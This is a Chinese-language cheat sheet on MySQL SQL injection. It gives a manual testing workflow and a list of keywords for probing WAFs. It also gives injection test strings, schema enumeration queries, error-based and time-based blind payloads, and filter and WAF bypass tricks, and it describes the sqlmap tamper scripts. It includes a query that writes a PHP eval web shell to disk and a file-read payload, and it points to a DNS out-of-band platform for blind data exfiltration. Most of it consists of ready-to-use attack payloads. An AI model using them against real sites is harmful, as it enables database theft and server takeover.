本文總結了MySql注入的一些基礎知識以及繞過過濾的一些方法,并且將在后續繼續完善該文章,后面會添加一些具體實例的文章,希望能夠幫到大家。
0x00 基礎知識:
手工注入一般思路:
1.爬取所有有參數輸入的URL,表單,搜索框
2.對于多參數的需要先確定哪個參數好注入
3.如有WAF,先測出哪些沒有被ban,可以將關鍵字導入burp跑,根據返回長度及內容進行判斷
4.結合各種注入技巧,選擇比較容易獲取數據的方式進行注入
5.除了GET、POST方式,還有COOKIE可以進行注入,cookie的過濾偶爾會被漏掉
測WAF的關鍵字列表
extractvalue
updatexml
order
by
union
select
from
where
limit
sleep
benchmark
left
mid
substr
substring
concat
concat_ws
group_concat
or
and
%20
||
&&
(
)
-
+
%23
;
,
=
<
>
/
*
%
常用查詢語句:
查庫:
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1
select database()
查表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(table_name) from information_schema.tables where table_schema='數據庫'
select table_name from information_schema.tables where table_schema='數據庫' limit 0,1
查字段:
select group_concat(column_name) from information_schema.columns where table_name='表名'
select column_name from information_schema.columns where table_name='表名' limit 0,1
查內容:
select group_concat(字段1,字段2) from 表名
select 字段 from 表名 limit 0,1
連接符號:
concat(str1,str2,...)——沒有分隔符地連接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
group_concat(str1,str2,...)——連接一個組的所有字符串,并以逗號分隔每一條數據
字符截取函數:
left(str,n)獲取字符串str左部指定n個字符 如:left(database(),2)>'se'
mid(str,m,n)獲取字符串str第m位起指定n個字符 如:ord(mid(database(),2,1))>101
substr(str,m,n)獲取字符串str第m位起指定n個字符 如:ascii(substr(database(),2,1))>101
substring(str,m,n)獲取字符串str第m位起指定n個字符 如:ascii(substring(database(),2,1))>101
時間函數:
sleep() 如:If(ascii(substr(database(),1,1))=115,1,sleep(5))
benchmark() 如:IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)
PS:if(str,m,n)函數中,str為真的話執行前面m語句,為假執行后面n語句
讀文件:
select load_file('/var/www/html/flag.php')
寫文件:
select '<?php eval($_POST['nac']); ?>' into outfile '/var/www/nac.php'
常用函數:
system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user() 連接數據庫的用戶名
version() MySQL版本
database() 數據庫名
load_file() MYSQ L 讀取本地文件的函數
@@datadir 數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統版本
常用測試語句(GET、POST):
數字型;
and 1=1 正常 / and 1=2 不正常 -> 有問題
and 1<2 正常 / and 1>2 不正常 -> 有問題
-1 不正常 / -0 正常 -> 有問題
^1 不正常 / ^0 正常 -> 有問題
*2 不正常 -> 有問題
字符型:
\ 不正常 / \\ 正常 -> 有問題
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
'='
'^'1'='1
%df' or 1=1--+
PS: --可以用#替換,GET方式url提交過程中url中的#需使用編碼后的#,即為%23
常用測試語句(搜索框):
1.搜索keywords',如果出錯的話,有90%的可能性存在漏洞;
2.搜索keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;
3.搜索keywords%'and 1=1 and '%'='(這個語句的功能就相當于普通SQL注入的 and 1=1)
4.搜索keywords%'and 1=2 and '%'='(這個語句的功能就相當于普通SQL注入的 and 1=2)
5.根據兩次的返回情況來判斷是不是搜索型文本框注入了
0x01 注入分類
基本分類:
聯合查詢的類型
基于錯誤的SQL注入
基于布爾SQL盲注
基于時間的SQL盲注
基于報錯的SQL盲注
堆查詢注射
二次注入
cookie注入
referer注入
寬字節注入
order by 注入
......(分類見仁見智)
利用exists進行暴力猜解
將表名字典加載到burp跑表(Payload1),當想要猜測的表名不是當前數據庫的,如猜測mysql庫的表名(Payload2)
Payload1:and exists(select * from 表名)
Payload2:and exists(select * from mysql.表名)
將字段名字典加載到burp跑字段,這里假設得到的表名為users
Payload:and exists(select * from users)
報錯注入:
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
exp(~(select * from(select user())a))
multipoint((select * from(select * from(select user())a)b))
寬字節注入:
前提:gbk等多字節編碼,addslashes等轉義函數
繞過:%81-%fe中的任何字符都可以吃掉反斜杠,常用%df,%bf
參考:http://www.91ri.org/8611.html
DNS注入:
沒有顯示返回信息的延時盲注或者布爾盲注可以考慮一下。
推薦一個免費的平臺:http://ceye.io(也可用于無回顯的命令執行)
參考:https://phpinfo.me/2016/05/10/1210.html
limit注入:
參考:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
order by注入:
參考:https://www.secpulse.com/archives/57197.html
0x02 繞過技巧:
注釋符:
#,
-- X(X為任意字符)
/*(MySQL-5.1)
;%00
`
'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- - //版本號為5.1.38時只要小于50138
'/*!or*/ 1=1 -- -
運算符:
1+1 --> 1--1
ascii(substr(database(),0,1))>64 --> greatest(ascii(substr(database(),0,1)),64)=64
= --> <>、like、rlike、regexp
<> --> between and、least、=
not --> !
xor --> |
or --> ||
and --> &&
空格被過濾:
%09、%0a、%0b、%0c、%0d、%a0、%00、%20、+、/**/、/*!*/、/*!5000*/、()、{}
繞過引號被過濾
hex編碼: SELECT password FROM Users WHERE username = 0x61646D696E
char編碼: SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html實體字符編碼: SELECT FROM Users WHERE username = 'admin'
%2527: 繞過magic_quotes_gpc過濾,結合后面的27也就是%27也就是'
繞過逗號被過濾
mid,substr:mid(string,1,1)--> mid(string from 1 for 1) --> substr(string from 1)
limit 0,1 --> limit 1 offset 0
union select 1,2 --> union select * from (select 1)a join (select 2)b
select ascii(mid(user(),1,1))=80 --> select user() like 'r%'
單次過濾:
雙寫關鍵字繞過,如seselectlect
大小寫:
如UniOn、SelEct
MySql字符編碼利用技巧:
php mysqli客戶端設置的字符集為utf8,Mysql的字符集默認是latin1。
傳入不完整的字節會被忽略掉,如傳入\xC2~\xEF中一個字符
參考:https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
其他繞過:
md5($array)=null 結果為true
null = null 結果為真(雙等號前面作等于的結果為null,再跟null作等于的結果為真)
0x03 sqlmap注入工具的使用
sqlmap注入神器的tamper用法:
apostrophemask.py 用UTF-8全角字符替換單引號字符
apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符
appendnullbyte.py 在payload末尾添加空字符編碼
base64encode.py 對給定的payload全部字符使用Base64編碼
between.py 分別用“NOT BETWEEN 0 AND #”替換大于號“>”,“BETWEEN # AND #”替換等于號“=”
bluecoat.py 在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等于號“=”
chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
equaltolike.py 用“LIKE”運算符替換全部等于號“=”
greatest.py 用“GREATEST”函數替換大于號“>”
halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL注釋
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
lowercase.py 用小寫值替換每個關鍵字字符
modsecurityversioned.py 用注釋包圍完整的查詢
modsecurityzeroversioned.py 用當中帶有數字零的注釋包圍完整的查詢
multiplespaces.py 在SQL關鍵字周圍添加多個空格
nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用于過濾器
overlongutf8.py 轉換給定的payload當中的所有字符
percentage.py 在每個字符之前添加一個百分號
randomcase.py 隨機轉換每個關鍵字字符的大小寫
randomcomments.py 向SQL關鍵字中插入隨機注釋
securesphere.py 添加經過特殊構造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替換空格符
space2dash.py 用破折號注釋符“–”其次是一個隨機字符串和一個換行符替換空格符
space2hash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2morehash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
space2mssqlhash.py 用磅注釋符“#”其次是一個換行符替換空格符
space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
space2mysqldash.py 用破折號注釋符“–”其次是一個換行符替換空格符
space2plus.py 用加號“+”替換空格符
space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT”
unmagicquotes.py 用一個多字節組合%bf%27和末尾通用注釋一起替換空格符
varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF
versionedkeywords.py 用MySQL注釋包圍每個非函數關鍵字
versionedmorekeywords.py 用MySQL注釋包圍每個關鍵字
xforwardedfor.py 添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF
參考:https://paper.seebug.org/218/